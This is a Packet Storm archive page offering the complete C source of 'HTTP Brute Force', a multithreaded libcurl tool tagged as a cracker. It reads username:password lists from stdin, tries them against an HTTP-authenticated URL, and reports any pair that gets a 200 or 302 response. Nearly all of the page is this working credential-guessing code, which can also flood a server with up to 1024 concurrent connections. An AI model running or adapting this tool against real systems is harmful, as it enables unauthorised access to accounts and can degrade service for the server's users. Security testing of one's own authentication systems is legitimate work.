exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

HTTP Brute Force

HTTP Brute Force
Posted Jan 31, 2012
Authored by James Stevenson | Site stev.org

This is a small application built to test the performance of a http authentication system using a lot of concurrent connections. It can also be used to try lots of password against a http server. It is capable of using up to 1024 (or more using multiple processes). However with this amount it is capable or reducing internet connections to a crawl and also greatly increasing the load on the server.

tags | tool, web, cracker
SHA-256 | a5d2da95b1cd1d0ba6fe4dd2c6679e8bf9b21070ccc3eee14c9f4eeffaa83726

HTTP Brute Force

Change Mirror Download
/*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Library General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*
* $Id: brute-http.c,v 1.1 2012/01/30 22:28:55 james.stevenson Exp $
*
* Author:
* NAME: James Stevenson
* WWW: http://www.stev.org
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <getopt.h>
#include <string.h>
#include <pthread.h>

#include <curl/curl.h>

int verbose = 0;
int total = 0;
volatile int quit = 0;

pthread_mutex_t mutex_pass = PTHREAD_MUTEX_INITIALIZER;

struct args {
char *url;
};

void print_help(FILE *fp, char *app) {
fprintf(fp, "Usage: %s [<options>]\n", app);
fprintf(fp, "\n");
fprintf(fp, " -h Print this help and exit\n");
fprintf(fp, " -v Verbose. Repeat for more info\n");
fprintf(fp, " -u <url> url to try\n");
fprintf(fp, " -n <num> number of threads to use\n");
fprintf(fp, "\n");
fprintf(fp, "Note: usernames / password will be read from stdin\n");
fprintf(fp, "The format for this is username:password\n");
fprintf(fp, "\n");
}

void dump(void *ptr, size_t size, size_t nmemb, void *stream) {

}

int try(char *url, char *username, char *password) {
CURL *req = NULL;
CURLcode res;
long status = 0;

req = curl_easy_init();
if (!req) {
printf("curl_easy_init: Failed\n");
exit(EXIT_FAILURE);
}

curl_easy_setopt(req, CURLOPT_URL, url);
curl_easy_setopt(req, CURLOPT_WRITEFUNCTION, dump);
curl_easy_setopt(req, CURLOPT_USERNAME, username);
curl_easy_setopt(req, CURLOPT_PASSWORD, password);

res = curl_easy_perform(req);

res = curl_easy_getinfo(req, CURLINFO_RESPONSE_CODE, &status);

curl_easy_cleanup(req);

printf("Tried: %s:%s Got %ld\n", username, password, status);

switch (status) {
case 0:
printf("Request Failed For: %s:%s Code: %ld\n", username, password, status);
return 0;
case 200:
return 1;
case 302:
return 1; /* redirect means success */
case 401:
return 0;
default:
printf("Tried: %s:%s Got %ld\n", username, password, status);
printf("Unknown Status Code: %ld\n", status);
exit(EXIT_SUCCESS);
return 0;
}
}

int getpassword(char **buf, size_t *buflen, char **username, char **password) {

pthread_mutex_lock(&mutex_pass);

if (getline(buf, buflen, stdin) >= 0) {
pthread_mutex_unlock(&mutex_pass);
char *tmp = strchr(*buf, ':');
if (tmp == 0 || tmp[1] == 0)
return 0;
*username = *buf;
*tmp = 0;
tmp++;
*password = tmp;
tmp = strchr(*password, '\n');
if (tmp != 0)
*tmp = 0;
return 1;
}

pthread_mutex_unlock(&mutex_pass);
return 0;
}

void *run(void *p) {
struct args *a = (struct args *) p;
char *buf = 0;
size_t buflen = 0;
char *user = 0;
char *pass = 0;

while(quit == 0) {
if (getpassword(&buf, &buflen, &user, &pass) == 0)
goto free; /* we ran out of passwords */

if (try(a->url, user, pass)) {
printf("Success! Username: %s Password: %s\n", user, pass);
quit = 1;
goto free;
}
}

free:
if (buf != NULL)
free(buf);

pthread_exit(NULL);
return NULL;
}

int main(int argc, char **argv) {
struct args args;
pthread_t *thd;
pthread_attr_t attr;
int nthreads = 1;
int i = 0;
int c;

memset(&args, 0, sizeof(args));

while( (c = getopt(argc, argv, "hn:vu:")) != -1) {
switch(c) {
case 'h':
print_help(stdout, argv[0]);
exit(EXIT_SUCCESS);
break;
case 'n':
nthreads = atoi(optarg);
break;
case 'u':
args.url = optarg;
break;
case 'v':
verbose++;
break;
}
}

curl_global_init(CURL_GLOBAL_ALL);

if (args.url == NULL) {
print_help(stdout, argv[0]);
exit(EXIT_FAILURE);
}

thd = malloc(nthreads * sizeof(*thd));
if (!thd) {
perror("malloc");
exit(EXIT_FAILURE);
}

if (pthread_attr_init(&attr) != 0) {
perror("pthread_attr_init");
exit(EXIT_FAILURE);
}

if (pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE) != 0) {
perror("pthread_attr_setdetachstate");
exit(EXIT_FAILURE);
}

for(i=0;i<nthreads;i++) {
if (pthread_create(&thd[i], NULL, run, &args) != 0) {
perror("pthread_create");
exit(EXIT_FAILURE);
}
}

for(i=0;i<nthreads;i++) {
if (pthread_join(thd[i], NULL) != 0) {
perror("pthread_join");
exit(EXIT_FAILURE);
}
}

pthread_attr_destroy(&attr);

free(thd);

curl_global_cleanup();

return EXIT_SUCCESS;
}


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close